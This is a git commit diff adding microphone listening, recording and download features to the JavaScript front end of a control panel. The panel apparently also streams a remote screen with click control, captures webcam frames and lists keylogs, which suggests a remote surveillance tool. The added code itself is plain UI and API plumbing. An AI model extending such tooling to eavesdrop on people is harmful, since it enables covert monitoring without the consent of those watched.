Audio
This commit is contained in:
@@ -32,11 +32,23 @@
|
||||
const webcamDevice = document.getElementById("webcam-device");
|
||||
const webcamStart = document.getElementById("webcam-start");
|
||||
const webcamStop = document.getElementById("webcam-stop");
|
||||
const micMeta = document.getElementById("mic-meta");
|
||||
const micDevice = document.getElementById("mic-device");
|
||||
const micRows = document.getElementById("mic-rows");
|
||||
const micListen = document.getElementById("mic-listen");
|
||||
const micListenStop = document.getElementById("mic-listen-stop");
|
||||
const micRecord = document.getElementById("mic-record");
|
||||
const micRecordStop = document.getElementById("mic-record-stop");
|
||||
|
||||
let objectUrls = [];
|
||||
let videoRunning = false;
|
||||
let videoTabActive = false;
|
||||
let webcamRunning = false;
|
||||
let micListening = false;
|
||||
let micRecording = false;
|
||||
let micTabActive = false;
|
||||
let micAudioCtx = null;
|
||||
let nextPlayTime = 0;
|
||||
let selectedLogName = "";
|
||||
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
||||
let currentListen = "";
|
||||
@@ -64,6 +76,18 @@
|
||||
return res;
|
||||
}
|
||||
|
||||
async function apiNoContent(url, options) {
|
||||
showError("");
|
||||
const res = await fetch(url, options);
|
||||
if (res.status === 204) {
|
||||
return res;
|
||||
}
|
||||
if (!res.ok) {
|
||||
throw new Error(await readError(res));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
function formatBytes(n) {
|
||||
if (n < 1024) return `${n} B`;
|
||||
const units = ["KB", "MB", "GB", "TB"];
|
||||
@@ -467,6 +491,174 @@
|
||||
webcamStop.disabled = true;
|
||||
}
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
function setMicControls() {
|
||||
micListen.disabled = micListening;
|
||||
micListenStop.disabled = !micListening;
|
||||
micRecord.disabled = micRecording;
|
||||
micRecordStop.disabled = !micRecording;
|
||||
}
|
||||
|
||||
async function refreshMics() {
|
||||
const res = await api("/api/v1/mic");
|
||||
const data = await res.json();
|
||||
const devices = data.devices || [];
|
||||
const prev = micDevice.value;
|
||||
micDevice.replaceChildren();
|
||||
if (!devices.length) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = "";
|
||||
opt.textContent = "No microphones found";
|
||||
micDevice.append(opt);
|
||||
micMeta.textContent = "No capture devices";
|
||||
return;
|
||||
}
|
||||
for (const dev of devices) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = String(dev.index);
|
||||
opt.textContent = `${dev.index}: ${dev.name}`;
|
||||
micDevice.append(opt);
|
||||
}
|
||||
if ([...micDevice.options].some((o) => o.value === prev)) {
|
||||
micDevice.value = prev;
|
||||
}
|
||||
micMeta.textContent = `${devices.length} device(s)`;
|
||||
}
|
||||
|
||||
async function pullMicChunk() {
|
||||
const device = micDevice.value;
|
||||
if (device === "") throw new Error("no microphone selected");
|
||||
const res = await fetch(`/api/v1/mic/chunk?device=${encodeURIComponent(device)}`);
|
||||
if (res.status === 204) return;
|
||||
if (!res.ok) throw new Error(await readError(res));
|
||||
const buf = await res.arrayBuffer();
|
||||
if (!buf.byteLength) return;
|
||||
if (!micAudioCtx) {
|
||||
micAudioCtx = new AudioContext();
|
||||
}
|
||||
if (micAudioCtx.state === "suspended") {
|
||||
await micAudioCtx.resume();
|
||||
}
|
||||
let audioBuf;
|
||||
try {
|
||||
audioBuf = await micAudioCtx.decodeAudioData(buf.slice(0));
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
const src = micAudioCtx.createBufferSource();
|
||||
src.buffer = audioBuf;
|
||||
src.connect(micAudioCtx.destination);
|
||||
const now = micAudioCtx.currentTime;
|
||||
const start = Math.max(now, nextPlayTime);
|
||||
src.start(start);
|
||||
nextPlayTime = start + audioBuf.duration;
|
||||
}
|
||||
|
||||
async function runMicListen() {
|
||||
if (micListening) return;
|
||||
micListening = true;
|
||||
nextPlayTime = 0;
|
||||
setMicControls();
|
||||
while (micListening) {
|
||||
try {
|
||||
await pullMicChunk();
|
||||
} catch (err) {
|
||||
if (micListening) {
|
||||
showError(err.message);
|
||||
await sleep(500);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
await sleep(50);
|
||||
}
|
||||
micListening = false;
|
||||
setMicControls();
|
||||
}
|
||||
|
||||
function stopMicListen() {
|
||||
micListening = false;
|
||||
setMicControls();
|
||||
}
|
||||
|
||||
async function startMicRecording() {
|
||||
const device = micDevice.value;
|
||||
if (device === "") throw new Error("no microphone selected");
|
||||
const res = await api(`/api/v1/mic/record?device=${encodeURIComponent(device)}`, { method: "POST" });
|
||||
const data = await res.json();
|
||||
micRecording = true;
|
||||
setMicControls();
|
||||
micMeta.textContent = `Recording ${data.file}`;
|
||||
}
|
||||
|
||||
async function stopMicRecording() {
|
||||
const res = await api("/api/v1/mic/record", { method: "DELETE" });
|
||||
const data = await res.json();
|
||||
micRecording = false;
|
||||
setMicControls();
|
||||
micMeta.textContent = `Saved ${data.file} · ${formatBytes(data.size || 0)}`;
|
||||
await listMicRecordings();
|
||||
}
|
||||
|
||||
async function stopMicSession() {
|
||||
stopMicListen();
|
||||
if (micRecording) {
|
||||
try {
|
||||
await stopMicRecording();
|
||||
} catch {
|
||||
micRecording = false;
|
||||
setMicControls();
|
||||
}
|
||||
}
|
||||
try {
|
||||
await apiNoContent("/api/v1/mic", { method: "DELETE" });
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
function downloadMicRecording(name) {
|
||||
const link = document.createElement("a");
|
||||
link.href = `/api/v1/mic/download?file=${encodeURIComponent(name)}`;
|
||||
link.download = name;
|
||||
document.body.append(link);
|
||||
link.click();
|
||||
link.remove();
|
||||
}
|
||||
|
||||
async function listMicRecordings() {
|
||||
const res = await api("/api/v1/mic/recordings");
|
||||
const data = await res.json();
|
||||
const files = data.files || [];
|
||||
micRecording = Boolean(data.recording);
|
||||
setMicControls();
|
||||
const dir = data.directory || "";
|
||||
micMeta.textContent = micRecording
|
||||
? `Recording in progress · ${files.length} saved · ${dir}`
|
||||
: `${files.length} recording(s) · ${dir}`;
|
||||
micRows.replaceChildren();
|
||||
for (const file of files) {
|
||||
const tr = document.createElement("tr");
|
||||
const name = document.createElement("td");
|
||||
name.textContent = file.name;
|
||||
const size = document.createElement("td");
|
||||
size.textContent = formatBytes(file.size || 0);
|
||||
const modified = document.createElement("td");
|
||||
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
||||
const actions = document.createElement("td");
|
||||
actions.className = "actions";
|
||||
const btn = document.createElement("button");
|
||||
btn.type = "button";
|
||||
btn.textContent = "Download";
|
||||
btn.addEventListener("click", () => downloadMicRecording(file.name));
|
||||
actions.append(btn);
|
||||
tr.append(name, size, modified, actions);
|
||||
micRows.append(tr);
|
||||
}
|
||||
}
|
||||
|
||||
async function pullVideoFrame() {
|
||||
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
|
||||
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
||||
@@ -731,6 +923,15 @@
|
||||
if (!onVideo) {
|
||||
stopVideo();
|
||||
}
|
||||
const onMic = button.dataset.tab === "mic";
|
||||
if (micTabActive && !onMic) {
|
||||
stopMicSession().catch((err) => showError(err.message));
|
||||
}
|
||||
micTabActive = onMic;
|
||||
if (onMic) {
|
||||
refreshMics().catch((err) => showError(err.message));
|
||||
listMicRecordings().catch((err) => showError(err.message));
|
||||
}
|
||||
if (button.dataset.tab === "logs") {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
}
|
||||
@@ -799,6 +1000,26 @@
|
||||
document.getElementById("webcam-snap").addEventListener("click", () => {
|
||||
pullWebcamFrame().catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("mic-refresh").addEventListener("click", () => {
|
||||
refreshMics().catch((err) => showError(err.message));
|
||||
});
|
||||
micListen.addEventListener("click", () => {
|
||||
runMicListen().catch((err) => showError(err.message));
|
||||
});
|
||||
micListenStop.addEventListener("click", () => {
|
||||
stopMicListen();
|
||||
});
|
||||
micRecord.addEventListener("click", () => {
|
||||
startMicRecording().catch((err) => showError(err.message));
|
||||
});
|
||||
micRecordStop.addEventListener("click", () => {
|
||||
stopMicRecording().catch((err) => showError(err.message));
|
||||
});
|
||||
micDevice.addEventListener("change", () => {
|
||||
if (micListening || micRecording) {
|
||||
stopMicSession().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
videoCanvas.addEventListener("click", (event) => {
|
||||
sendClick(event, "left").catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user